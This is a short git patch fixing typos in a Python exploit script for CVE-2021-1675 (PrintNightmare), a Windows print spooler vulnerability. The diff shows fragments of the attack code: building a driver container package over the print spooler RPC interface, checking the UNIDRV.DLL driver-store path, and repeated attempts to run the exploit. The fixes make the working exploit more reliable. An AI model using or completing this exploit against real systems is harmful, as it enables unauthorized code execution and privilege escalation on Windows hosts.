From 9938ba907587348574be587aa877f2e2d6c03749 Mon Sep 17 00:00:00 2001
From: cube0x0 <39370848+cube0x0@users.noreply.github.com>
Date: Sat, 3 Jul 2021 15:47:38 +0200
Subject: [PATCH] typo..

---
 CVE-2021-1675.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/CVE-2021-1675.py b/CVE-2021-1675.py
index 1807985..611606b 100644
--- a/CVE-2021-1675.py
+++ b/CVE-2021-1675.py
@@ -66,7 +66,7 @@ def getDrivers(dce, handle=NULL):
     return blob
 
 
-def main(dce, pDriverPath, share):
+def main(dce, pDriverPath, share, handle=NULL):
     #build DRIVER_CONTAINER package
     container_info = rprn.DRIVER_CONTAINER()
     container_info['Level'] = 2
@@ -157,7 +157,7 @@ Example;
         try:
             blob = getDrivers(dce, handle)
             pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
-            if not "filerepository" in pDriverPath:
+            if not "FileRepository" in pDriverPath:
                 print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath))
                 print("[-] Specify pDriverPath manually")
                 sys.exit(1)
@@ -177,4 +177,4 @@ Example;
     print("[*] Try 2...")
     main(dce, pDriverPath,options.share)
     print("[*] Try 3...")
-    main(dce, pDriverPath,options.share)
\ No newline at end of file
+    main(dce, pDriverPath,options.share)